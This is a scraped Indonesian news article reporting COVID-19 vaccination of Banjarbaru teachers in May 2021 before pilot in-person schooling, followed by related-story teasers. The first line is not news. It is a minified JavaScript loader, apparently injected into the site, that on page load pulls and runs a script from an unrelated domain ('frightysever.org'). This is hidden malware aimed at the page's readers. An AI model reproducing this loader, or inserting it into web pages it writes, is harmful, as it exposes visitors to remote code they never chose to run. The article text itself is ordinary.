(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembelajaran Tatap Muka (PTM) di kota Banjarbaru akan dimulai di sejumlah sekolah piloting pada awal tahun ajaran baru.
Guru dan tenaga pendidik sekolah piloting yang akan menggelar PTM di Banjarbaru ditarget sudah ikut vaksinasi sebelum tahun ajaran baru dimulai.
Wali Kota Banjarbaru Aditya Mufti Ariffin didampingi Kepala Dinas Pendidikan Kota Banjarbaru Muhammad Aswan MSi dan Kepala Dinas Kesehatan Kota Banjarbaru Rizana Mirza melakukan peninjauan kegiatan vaksinasi untuk para guru, di TK Negeri Idaman Banjarbaru, Kamis (20/5/2021).
Baca juga: Khaby Lame. Fenomena Baru Medsos dengan Jutaan Follower
Wali Kota Banjarbaru Aditya Mufti Ariffin menyampaikan, vaksinasi dalam rangka persiapan Pembelajaran Tatap Muka (PTM) di sekolah target yang akan divaksin sebanyak 3000 orang.
Wali Kota Banjarbaru Aditya Mufti Ariffin melakukan peninjauan kegiatan vaksinasi untuk para guru, di TK Negeri Idaman Banjarbaru, Kamis (20/5/2021). Foto: humprobanjarbaru
“Mudah-mudahan target dalam beberapa hari ini bisa tercapai, dalam pantauan hari ini sudah 300 lebih yang sudah divaksin,” kata Wali Kota.
“Kita mengambil beberapa sekolah pilot project pendidikan Pembelajaran Tatap Muka (PTM), dimana sekolah pilot project diwajibkan 100 persen sudah tervaksinasi,” katanya.
Selain sudah tervaksin guru dan tenega pendidik 100 persen, pihak sekolah piloting juga sudah melengkapi protokol kesehatan, serta izin dari Satgas Covid-19 Banjarbaru.
“Sebelum Pembelajaran Tatap Muka (PTM) dimulai, itu semua harus dituntaskan. Agar dalam upaya mencegah penularan Covid-19,” tegasnya.
Baca juga: Jelang PSU 9 Juni, TNI Siapkan 1.500 Personil
Sementara itu, Kepala Dinas Pendidikan Kota Banjarbaru Muhammad Aswan mengatakan, sesuai Surat Keputusan Bersama (SKB) 4 menteri bagi tenaga pendidik yang sudah divaksin pihak sekolah harus melaksanakan Pembelajaran Tatap Muka (PTM).
“Dalam hal ini pemerintah memberikan pilihan kepada orangtua murid, berupa pelayanan PTM ataupun daring bagi orangtua yang tidak ingin anaknya belajar di sekolah,” jelas Kadisdik. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
This website uses cookies.